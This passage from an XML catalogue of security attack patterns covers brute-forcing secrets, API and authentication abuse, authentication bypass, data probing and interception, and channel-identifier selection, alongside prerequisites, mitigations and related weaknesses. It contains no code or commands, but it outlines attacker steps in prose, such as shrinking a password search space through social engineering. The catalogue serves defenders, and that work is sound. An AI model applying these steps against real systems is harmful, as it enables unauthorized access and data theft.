			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>In this attack, some asset (information, functionality, identity, etc.) is
						protected by a finite secret value. The attacker attempts to gain access to
						this asset by using trial-and-error to exhaustively explore all the possible
						secret values in the hope of finding the secret (or a value that is
						functionally equivalent) that will unlock the asset. Examples of secrets can
						include, but are not limited to, passwords, encryption keys, database lookup
						keys, and initial values to one-way functions.</Text>
					<Text>The key factor in this attack is the attacker's ability to explore the
						possible secret space rapidly. This, in turn, is a function of the size of
						the secret space and the computational power the attacker is able to bring
						to bear on the problem. If the attacker has modest resources and the secret
						space is large, the challenge facing the attacker is intractable. While the
						defender cannot control the resources available to an attacker, they can
						control the size of the secret space. Creating a large secret space involves
						selecting one's secret from as large a field of equally likely alternative
						secrets as possible and ensuring that an attacker is unable to reduce the
						size of this field using available clues or cryptoanalysis. Doing this is
						more difficult than it sounds since elimination of patterns (which, in turn,
						would provide an attacker clues that would help them reduce the space of
						potential secrets) is difficult to do using deterministic machines, such as
						computers. Assuming a finite secret space, a brute force attack will
						eventually succeed. The defender must rely on making sure that the time and
						resources necessary to do so will exceed the value of the information. For
						example, a secret space that will likely take hundreds of years to explore
						is likely safe from raw-brute force attacks.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine secret testing
											procedure</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine how a potential guess of the secret may
												be tested. This may be accomplished by comparing
												some manipulation of the secret to a known value,
												use of the secret to manipulate some known set of
												data and determining if the result displays specific
												characteristics (for example, turning cryptotext
												into plaintext), or by submitting the secret to some
												external authority and having the external authority
												respond as to whether the value was the correct
												secret. Ideally, the attacker will want to determine
												the correctness of their guess independently since
												involvement of an external authority is usually
												slower and can provide an indication to the defender
												that a brute-force attack is being attempted.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Determine if there is a way to parallelize
												the attack. Most brute force attacks can take
												advantage of parallel techniques by dividing the
												search space among available resources, thus
												dividing the average time to success by the number
												of resources available. If there is a single choke
												point, such as a need to check answers with an
												external authority, the attacker's position is
												significantly degraded.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Reduce search space</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Find ways to reduce the secret space. The smaller
												the attacker can make the space they need to search
												for the secret value, the greater their chances for
												success. There are a great many ways in which the
												search space may be reduced.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>If possible, determine how the secret was
												selected. If the secret was determined
												algorithmically (such as by a random number
												generator) the algorithm may have patterns or
												dependencies that reduce the size of the secret
												space. If the secret was created by a human,
												behavioral factors may, if not completely reduce
												the space, make some types of secrets more likely
												than others. (For example, humans may use the same
												secrets in multiple places or use secrets that
												look or sound familiar for ease of recall.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>If the secret was chosen algorithmically,
												cryptoanalysis can be applied to the algorithm to
												discover patterns in this algorithm. (This is true
												even if the secret is not used in cryptography.)
												Periodicity, the need for seed values, or
												weaknesses in the generator all can result in a
												significantly smaller secret space.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>If the secret was chosen by a person, social
												engineering and simple espionage can indicate
												patterns in their secret selection. If old secrets
												can be learned (and a target may feel they have
												little need to protect a secret that has been
												replaced) hints as to their selection preferences
												can be gleaned. These can include character
												substitutions a target employs, patterns in
												sources (dates, famous phrases, music lyrics,
												family members, etc.). Once these patterns have
												been determined, the initial efforts of a
												brute-force attack can focus on these
												areas.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Some algorithmic techniques for secret
												selection may leave indicators that can be tested
												for relatively easily and which could then be used
												to eliminate large areas of the search space for
												consideration. For example, it may be possible to
												determine that a secret does or does not start
												with a given character after a relatively small
												number of tests. Alternatively, it might be
												possible to discover the length of the secret
												relatively easily. These discoveries would
												significantly reduce the search space, thus
												increasing speed with which the attacker discovers
												the secret.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Title>Expand victory
											conditions</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>It is sometimes possible to expand victory
												conditions. For example, the attacker might not need
												to know the exact secret but simply needs a value
												that produces the same result using a one-way
												function. While doing this does not reduce the size
												of the search space, the presence of multiple
												victory conditions does reduce the likely amount of
												time that the attacker will need to explore the
												space before finding a workable value.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title> Gather information so attack can be
											performed independently.</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>If possible, gather the necessary information so a
												successful search can be determined without
												consultation of an external authority. This can be
												accomplished by capturing cryptotext (if the goal is
												decoding the text) or the encrypted password
												dictionary (if the goal is learning
												passwords).</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text> The attacker must be able to determine when they have successfully
						guessed the secret. As such, one-time pads are immune to this type of attack
						since there is no way to determine when a guess is correct.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Methods_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attack simply requires basic scripting ability to automate the
							exploration of the search space. More sophisticated attackers may be
							able to use more advanced methods to reduce the search space and
							increase the speed with which the secret is located.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ultimately, the speed with which an attacker discovers a secret is directly
					proportional to the computational resources the attacker has at their disposal.
					This attack method is resource expensive: having large amounts of computational
					power do not guarantee timely success, but having only minimal resources makes
					the problem intractable against all but the weakest secret selection
					procedures.</Text>
			</Resources_Required>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Repeated submissions of incorrect secret values may indicate a brute
							force attack. For example, repeated bad passwords when accessing user
							accounts or repeated queries to databases using non-existent
							keys.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Attempts to download files protected by secrets (usually using
							encryption) may be a precursor to an offline attack to break the file's
							encryption and read its contents. This is especially significant if the
							file itself contains other secret values, such as password files.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>If the attacker is able to perform the checking offline then there
							will likely be no indication that an attack is ongoing.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>The attack is impossible to detect if the attacker can test for
							successful discovery of the secret value independently, without needing
							to consult an external authority.</Text>
					</Description>
				</Obfuscation_Technique>
				<Obfuscation_Technique>
					<Description>
						<Text>If an external authority must be consulted, the attacker can attempt
							to space out their guesses to avoid a large number of failed guesses in
							a short period of time, but doing so slows the attack to the point of
							making it unworkable against all but the most trivial secret spaces. As
							such, if an external authority must be consulted the attacked is
							unlikely to be able to keep the attack secret.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Select a provably large secret space for selection of the secret. Provably
						large means that the procedure by which the secret is selected does not have
						artifacts that significantly reduce the size of the total secret
						space.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Do not provide the means for an attacker to determine success
						independently. This forces the attacker to check their guesses against an
						external authority, which can slow the attack and warn the defender. This
						mitigation may not be possible if testing material must appear externally,
						such as with a transmitted cryptotext.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>330<!--Use of Insufficiently Random Values--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>326<!--Inadequate Encryption Strength--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>521<!--Weak Password Requirements--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>223<!--Probabilistic Techniques--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>344<!--WASC Threat Classification 2.0 - WASC-11 - Brute Force--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Protect sensitive data, even when the data is encrypted. If an attacker
						can gain access to encrypted data, they can mount a brute-force attack
						independently. The defender will not be aware of this attack or be able to
						do anything about it and at that point it is purely a function of the
						attacker's available resources as to how long it takes them to learn the
						secret.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text> Monitor activity logs for suspicious activity. An attacker that must use
						an external authority to check their brute-force guesses is easy to detect,
						but only if that external authority is monitoring activity and detects the
						abnormally large number of failed guesses.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Do not assume secrets will protect sensitive data in the long-term</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Monitor systems for suspicious activity.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
		</Attack_Pattern>
		<Attack_Pattern ID="113" Name="API Abuse/Misuse" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text> An attacker manipulates the processing of Application Programming
						Interface (API) resulting in the API's function having an adverse impact
						upon the security of the system or application implementing the API. This
						can allow the attacker to execute functionality not intended by the API
						implementation, possibly compromising the system or application which
						integrates the API. API Abuse can take on a number of forms. For example,
						the API may trust that the calling function properly validates its data and
						thus it may be manipulated by supplying metacharacters or alternate
						encodings as input, resulting in any number of injection flaws, including
						SQL injection, cross-site scripting, or command execution. Another example
						could be API methods that should be disabled in a production application but
						were not, thus exposing dangerous functionality within a production
						environment.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text> The target system must expose API functionality in a manner that can be
						discovered and manipulated by an attacker. This may require reverse
						engineering the API syntax or decrypting/de-obfuscating client-server
						exchanges.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The requirements vary depending upon the nature of the API. For
					application-layer APIs related to the processing of the HTTP protocol, one or
					more of the following may be needed: a MITM (Man-In-The-Middle) proxy, a web
					browser, or a programming/scripting language.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="114" Name="Authentication Abuse" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker obtains unauthorized access to an application, service or
						device either through knowledge of the inherent weaknesses of an
						authentication mechanism, or by exploiting a flaw in the authentication
						scheme's implementation. In such an attack an authentication mechanism is
						functioning but a carefully controlled sequence of events causes the
						mechanism to grant access to the attacker. This attack may exploit
						assumptions made by the target's authentication procedures, such as
						assumptions regarding trust relationships or assumptions regarding the
						generation of secret values. This attack differs from Authentication Bypass
						attacks in that Authentication Abuse allows the attacker to be certified as
						a valid user through illegitimate means, while Authentication Bypass allows
						the user to access protected material without ever being certified as an
						authenticated user. This attack does not rely on prior sessions established
						by successfully authenticating users, as relied upon for the "Exploitation
						of Session Variables, Resource IDs and other Trusted Credentials" attack
						patterns.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An authentication mechanism or subsystem implementing some form of
						authentication such as passwords, digest authentication, security
						certificates, etc. which is flawed in some way.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>A client application, command-line access to a binary, or scripting language
					capable of interacting with the authentication mechanism.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>287<!--Improper Authentication--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>225<!--Exploitation of Authentication--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="115" Name="Authentication Bypass" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker gains access to application, service, or device with the
						privileges of an authorized or privileged user by evading or circumventing
						an authentication mechanism. The attacker is therefore able to access
						protected data without authentication ever having taken place. This refers
						to an attacker gaining access equivalent to an authenticated user without
						ever going through an authentication procedure. This is usually the result
						of the attacker using an unexpected access procedure that does not go
						through the proper checkpoints where authentication should occur. For
						example, a web site might assume that all users will click through a given
						link in order to get to secure material and simply authenticate everyone
						that clicks the link. However, an attacker might be able to reach secured
						web content by explicitly entering the path to the content rather than
						clicking through the authentication link, thereby avoiding the check
						entirely. This attack pattern differs from other uthentication attacks in
						that attacks of this pattern avoid authentication entirely, rather than
						faking authentication by exploiting flaws or by stealing credentials from
						legitimate users.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An authentication mechanism or subsystem impmenting some form of
						authentication such as passwords, digest authentication, security
						certificates, etc.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>A client application, such as a web browser, or a scripting language capable
					of interacting with the target.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>592<!--Authentication Bypass Issues--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>225<!--Exploitation of Authentication--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="116" Name="Data Excavation Attacks" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker probes the target in a manner that is designed to solicit
						information relevant to system security. This is achieved by sending data
						that is syntactically invalid or non-standard relative to a given service,
						protocol, or expected-input, or by exploring the target via ordinary
						interactions for the purpose of gathering intelligence about the target. As
						a result the attacker is able to obtain information from the target that
						aids the attacker in making inferences about its security, configuration, or
						potential vulnerabilities. Some exchanges witht the target may trigger
						unhandled exceptions or verbose error messages. When this happens error
						messages may reveal information like stack traces, configuration
						information, path information, or database messages. This type of attack
						also includes manipulation of query strings in a URI, such as by attemtping
						to produce invalid SQL queries or by trying alternative path values, in the
						hope that the server will return useful information. This attack differs
						from Data Interception and other data collection attacks in that the
						attacker actively queries the target rather than simply watching for the
						target to reveal information.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Verbose error handling routines or components that provide the user
						feedback related to system or application properties.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>A web browser or a client application capable of sending custom protocol
					messages, such as a MITM Proxy or a fuzzer, or a similar scanner or packet
					injection tool.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>118<!--Data Leakage Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="117" Name="Data Interception Attacks" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker monitors data streams to or from a target in order to gather
						information. This attack may be undertaken to gather information to support
						a later attack or the data collected may be the end goal of the attack. This
						attack usually involves sniffing network traffic, but may include observing
						other types of data streams, such as radio. In most varieties of this
						attack, the attacker is passive and simply observes regular communication,
						however in some variants the attacker may attempt to initiate the
						establishment of a data stream or influence the nature of the data
						transmitted. However, in all variants of this attack, and distinguishing
						this attack from other data collection methods, the attacker is not the
						intended recipient of the data stream. Unlike some other data leakage
						attacks, the attacker is observing explicit data channels (e.g. network
						traffic) and reading the content. This differs from attacks that collect
						more qualitative information, such as communication volume, or other
						information not explicitly communicated via a data stream.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>All targets that transmit information over a network is potentially
						vulnerable to this attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must have the necessary technology to intercept information
					passing between the nodes of a network. For TCP/IP, the capability to run
					tcpdump, ethereal, etc. can be useful. Depending upon the data being targeted
					the technological requirements will change.</Text>
			</Resources_Required>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>118<!--Data Leakage Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="12"
			Name="Choosing a Message/Channel Identifier on a Public/Multicast Channel"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Attackers aware that more data is being fed into a multicast or public
						information distribution means can 'select' information bound only for
						another client, even if the distribution means itself forces users to
						authenticate in order to connect initally.</Text>
					<Text>Doing so allows the attacker to gain access to possibly privileged
						information, possibly perpetrate other attacks through the distribution
						means by impersonation.</Text>
					<Text>If the channel/message being manipulated is an input rather than output
						mechanism for the system, (such as a command bus), this style of attack
						could change its identifier from a less privileged to more so privileged
						channel or command.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Determine the nature of messages being transported
												as well as the identifiers to be used as part of the
												attack</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>If required, authenticate to the distribution
												channel</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>If any particular client's information is
												available through the transport means simply by
												selecting a particular identifier, an attacker can
												simply provide that particular identifier.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="4">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Attackers with client access connecting to output
												channels could change their channel identifier and
												see someone else's (perhaps more privileged)
												data.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Information and client-sensitive (and client-specific) data must be
						present through a distribution channel available to all users.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Distribution means must code (through channel, message identifiers, or
						convention) message destination in a manner visible within the distribution
						means itself (such as a control channel) or in the messages
						themselves.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A certain B2B interface on a large application codes for messages
							passed over a MQSeries queue, on a single "Partners" channel. Messages
							on that channel code for their client destination based on a partner_ID
							field, held by each message. That field is a simple integer. Attackers
							having access to that channel, perhaps a particularly nosey partner, can
							simply choose to store messages of another parnter's ID and read them as
							they desire. Note that authentication does not prevent a partner from
							leveraging this attack on other partners. It simply disallows Attackers
							without partner status from conducting this attack.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>All the attacker needs to discover is the format of the messages on
							the channel/distribution means and the particular identifier used within
							the messages.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The Attacker needs the ability to control source code or application
					configuration responsible for selecting which message/channel id is absorbed
					from the public distribution means.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Assisted protocol analysis: because the protocol under attack is a
							public channel, or one in which the attacker likely has authorized
							access to, they need simply to decode the aspect of channel or message
							interpretation that codes for message identifiers.</Text>
						<Text>Probing is as simple as changing this value and watching its
							effect.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Associate some ACL (in the form of a token) with an authenticated user
						which they provide middleware. The middleware uses this token as part of its
						channel/message selection for that client, or part of a discerning
						authorization decision for privileged channels/messages.</Text>
					<Text>The purpose is to architect the system in a way that associates proper
						authentication/authorization with each channel/message.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Rearchitect system input/output channels as appropriate to distribute
						self-protecting data. That is, encrypt (or otherwise protect)
						channels/messages so that only authorized readers can see them.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>201<!--Information Exposure Through Sent Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>306<!--Missing Authentication for Critical Function--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>21<!--Exploitation of Session Variables, Resource IDs and other Trusted Credentials--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>216<!--Abuse of Communication Channels--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Use Authentication Mechanisms, Where Appropriate, Correctly</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Use Authorization Mechanisms Correctly: this refers to Ambiguity of
						authentication. Many authorization systems use ambiguous symbols (i.e.,
						principal names) to identify principals allowing circumvention of
						authorization by using a different, though equivalent, principal name. For
						example, there are many implementations for restricting remote host access
						to local services that may allow many proper—but apparently different—names
						for unique hosts (e.g., fully qualified domain names, shortened names,
						CNAMEs, IPv4 addresses, IPv6 addresses).</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
